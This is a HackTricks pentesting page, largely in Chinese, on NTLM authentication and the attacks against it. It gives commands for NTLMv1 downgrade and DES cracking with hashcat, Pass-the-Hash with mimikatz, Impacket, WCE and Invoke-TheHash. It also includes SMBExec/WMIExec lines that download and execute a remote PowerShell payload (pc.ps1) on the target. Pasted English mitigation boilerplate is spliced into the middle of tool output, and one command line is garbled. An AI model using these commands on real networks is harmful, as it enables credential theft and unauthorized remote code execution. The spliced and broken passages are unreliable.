hacktricks/windows-hardening/ntlm
2024-02-08 03:56:12 +00:00
..
atexec.md Translated ['windows-hardening/active-directory-methodology/README.md', 2024-01-02 20:35:58 +00:00
places-to-steal-ntlm-creds.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:56:12 +00:00
psexec-and-winexec.md Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a. 2024-02-04 16:26:04 +00:00
README.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:56:12 +00:00
smbexec.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:56:12 +00:00
winrm.md Translated ['windows-hardening/active-directory-methodology/ad-certifica 2024-01-09 14:10:19 +00:00
wmicexec.md Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge 2024-02-08 03:56:12 +00:00

NTLM

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

在运行Windows XP和Server 2003的环境中通常会使用LMLan Manager哈希尽管众所周知这些哈希很容易被破解。 特定的LM哈希AAD3B435B51404EEAAD3B435B51404EE表示LM未被使用的情况代表空字符串的哈希。

默认情况下,主要使用Kerberos身份验证协议。 在特定情况下NTLMNT LAN Manager会介入缺乏Active Directory域不存在由于配置不当导致Kerberos故障或者尝试使用IP地址而不是有效主机名进行连接。

网络数据包中存在**"NTLMSSP"**头部表示进行NTLM身份验证过程。

系统文件%windir%\Windows\System32\msv1\_0.dll支持LM、NTLMv1和NTLMv2身份验证协议。

关键点

  • LM哈希易受攻击空LM哈希(AAD3B435B51404EEAAD3B435B51404EE)表示未使用。
  • Kerberos是默认身份验证方法仅在特定条件下使用NTLM。
  • NTLM身份验证数据包可通过"NTLMSSP"头部识别。
  • 系统文件msv1\_0.dll支持LM、NTLMv1和NTLMv2协议。

LM、NTLMv1和NTLMv2

您可以检查和配置将使用的协议:

图形界面

执行_secpol.msc_ -> 本地策略 -> 安全选项 -> 网络安全: LAN 管理器身份验证级别。 有6个级别从0到5

注册表

这将设置级别5

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能的取值:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的NTLM域身份验证方案

  1. 用户输入他的凭证
  2. 客户端机器发送身份验证请求,发送域名用户名
  3. 服务器发送挑战
  4. 客户端使用密码的哈希加密挑战,并将其作为响应发送
  5. 服务器将域控制器发送域名、用户名、挑战和响应。如果没有配置活动目录或域名是服务器的名称,则会在本地检查凭证
  6. 域控制器检查一切是否正确,并将信息发送给服务器

服务器域控制器能够通过Netlogon服务器创建安全通道,因为域控制器知道服务器的密码(它在NTDS.DIT数据库中)。

本地NTLM身份验证方案

身份验证与之前提到的相同,但服务器知道试图在SAM文件中进行身份验证的用户的哈希。因此,服务器将自行检查用户是否可以进行身份验证。

NTLMv1挑战

挑战长度为8字节响应长度为24字节

哈希NT16字节分为3个部分每个部分为7字节7B + 7B +2B+0x00*5最后一部分填充为零。然后,挑战分别与每个部分进行加密,并将结果加密字节连接。总计8B + 8B + 8B = 24字节。

问题

  • 缺乏随机性
  • 3个部分可以分别攻击以找到NT哈希
  • DES是可破解的
  • 第3个密钥始终由5个零组成。
  • 给定相同的挑战响应将是相同的。因此,您可以将字符串“1122334455667788”作为挑战提供给受害者,并使用预先计算的彩虹表攻击使用的响应。

NTLMv1攻击

如今,越来越少发现配置了无限制委派的环境,但这并不意味着您不能滥用配置了打印池服务的情况。

您可以滥用您已经在AD上拥有的一些凭证/会话,要求打印机对某个您控制的主机进行身份验证。然后,使用metasploit auxiliary/server/capture/smbresponder您可以将身份验证挑战设置为1122334455667788捕获身份验证尝试如果使用NTLMv1进行身份验证,则可以破解
如果您使用responder,您可以尝试使用标志--lm来尝试降级****身份验证
请注意对于此技术身份验证必须使用NTLMv1执行NTLMv2无效

请记住,打印机将在身份验证期间使用计算机帐户,并且计算机帐户使用长且随机的密码,您可能无法使用常见的字典破解。但NTLMv1身份验证使用DES更多信息请参见此处因此使用专门用于破解DES的一些服务您将能够破解它例如您可以使用https://crack.sh/)。

使用hashcat的NTLMv1攻击

NTLMv1也可以使用NTLMv1多工具https://github.com/evilmog/ntlmv1-multi进行破解该工具以一种可以使用hashcat破解的方法格式化NTLMv1消息。

命令

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relay Attack

Introduction

NTLM relay attacks are a common technique used by attackers to escalate privileges within a network. This attack involves intercepting NTLM authentication traffic and relaying it to a target server to gain unauthorized access.

How it Works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays this traffic to another server within the network.
  3. The target server receives the relayed authentication request, believing it is coming from the original client.
  4. If successful, the attacker gains unauthorized access to the target server using the intercepted credentials.

Mitigation

To mitigate NTLM relay attacks, consider implementing the following measures:

  • Disable NTLM authentication where possible and use more secure protocols like Kerberos.
  • Enable SMB signing to prevent tampering with authentication traffic.
  • Implement Extended Protection for Authentication to protect against relay attacks.
  • Use strong, unique passwords to make credential interception more difficult for attackers.

By following these best practices, you can significantly reduce the risk of falling victim to NTLM relay attacks.

['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

NTLM Hashes

Description

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM hashes are generated from user passwords and are commonly used in Windows environments for authentication.

Usage

NTLM hashes can be extracted from Windows systems using various tools and techniques. These hashes can then be cracked using tools like John the Ripper or Hashcat to recover the original passwords.

Protection

To protect against NTLM hash attacks, it is recommended to use strong, complex passwords that are not easily guessable. Additionally, enabling multi-factor authentication (MFA) can add an extra layer of security to prevent unauthorized access to systems.

References

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

运行 hashcat最好通过 hashtopolis 等工具进行分布式运行),否则可能需要几天时间。

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

在这种情况下我们知道这个密码是password所以我们将为演示目的而作弊

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

我们现在需要使用hashcat工具将破解的DES密钥转换为NTLM哈希的一部分

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

最后一部分:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM Relay Attack

Introduction

NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. This attack involves intercepting NTLM authentication traffic and relaying it to a target server to gain unauthorized access.

How it works

  1. The attacker intercepts NTLM authentication traffic between a client and a server.
  2. The attacker relays the captured authentication to another server, tricking it into believing the attacker is the legitimate user.
  3. The attacker gains unauthorized access to the target server using the relayed authentication.

Mitigation

To mitigate NTLM relay attacks, consider implementing the following measures:

  • Enforce SMB signing: Require SMB signing to prevent tampering with authentication traffic.
  • Disable NTLM: Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.
  • Use LDAP signing: Enable LDAP signing to protect against relay attacks on LDAP traffic.
  • Implement SMB session security: Use SMB session security to protect against relay attacks on SMB traffic.

By implementing these measures, you can significantly reduce the risk of falling victim to NTLM relay attacks.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 Challenge

NTLMv2挑战

挑战长度为8字节,并发送2个响应:一个长度为24字节,另一个长度可变

第一个响应是通过使用HMAC_MD5加密由客户端和域组成的字符串,并使用NT hash的MD4哈希作为密钥来创建的。然后,将结果用作使用HMAC_MD5加密挑战密钥。为此,将添加一个8字节的客户端挑战。总共24字节。

第二个响应是使用多个值(一个新的客户端挑战,一个时间戳以避免重放攻击...)创建的。

如果您有捕获到成功身份验证过程的pcap文件,您可以按照此指南获取域、用户名、挑战和响应,并尝试破解密码:https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

一旦您获得受害者的哈希值,您可以使用它来冒充受害者。
您需要使用一个工具,该工具将使用该哈希值执行NTLM身份验证您可以创建一个新的会话登录注入哈希值LSASS中,因此当执行任何NTLM身份验证时,将使用该哈希值。最后一种选择是mimikatz所做的。

请记住您也可以使用计算机帐户执行Pass-the-Hash攻击。

Mimikatz

需要以管理员身份运行

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

这将启动一个进程该进程将属于启动mimikatz的用户但在LSASS内部保存的凭据是mimikatz参数中的凭据。然后您可以访问网络资源就好像您是那个用户类似于runas /netonly技巧,但您不需要知道明文密码)。

从Linux执行Pass-the-Hash

您可以使用Linux从Windows机器中执行Pass-the-Hash来获得代码执行。
点击这里了解如何操作。

Impacket Windows编译工具

您可以在此处下载Windows的impacket二进制文件

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe在这种情况下您需要指定一个命令cmd.exe和powershell.exe无法获得交互式shellC:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 还有其他几个Impacket二进制文件...

Invoke-TheHash

您可以从这里获取PowerShell脚本https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

调用-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

调用-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

调用-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

调用-TheHash

此函数是所有其他函数的混合。您可以传递多个主机排除某些主机,并选择您想要使用的选项SMBExecWMIExecSMBClientSMBEnum)。如果您选择任何一个SMBExecWMIExec,但提供任何_Command_参数它将只是检查您是否具有足够的权限

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM 传递哈希

Windows凭证编辑器WCE

需要以管理员身份运行

此工具将执行与mimikatz相同的操作修改LSASS内存

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

使用用户名和密码手动在Windows远程执行

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

从Windows主机提取凭据

有关 如何从Windows主机获取凭据的更多信息请阅读此页面

NTLM中继和Responder

阅读有关如何执行这些攻击的更详细指南:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

从网络捕获中解析NTLM挑战

您可以使用 https://github.com/mlgualtieri/NTLMRawUnHide

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥